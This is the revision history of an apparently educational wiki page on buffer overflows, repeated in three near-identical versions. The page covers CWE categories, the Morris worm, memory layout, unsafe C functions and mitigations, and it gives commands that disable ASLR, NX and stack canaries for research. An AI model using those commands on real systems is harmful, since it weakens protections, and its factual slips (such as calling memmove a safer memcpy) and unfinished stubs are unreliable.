2024-12-11T11:37:37Z

AKofranek: /* Memory Layout of a Process */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may overwrite the return pointer to redirect the flow of execution.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:27:20Z

AKofranek: /* The Stack and Important Control Structures */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may overwrite the return pointer to redirect the flow of execution.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:26:52Z

AKofranek: /* Technical Background and Context */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially overwriting the return address. An attacker may overwrite the return pointer to redirect the flow of execution.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
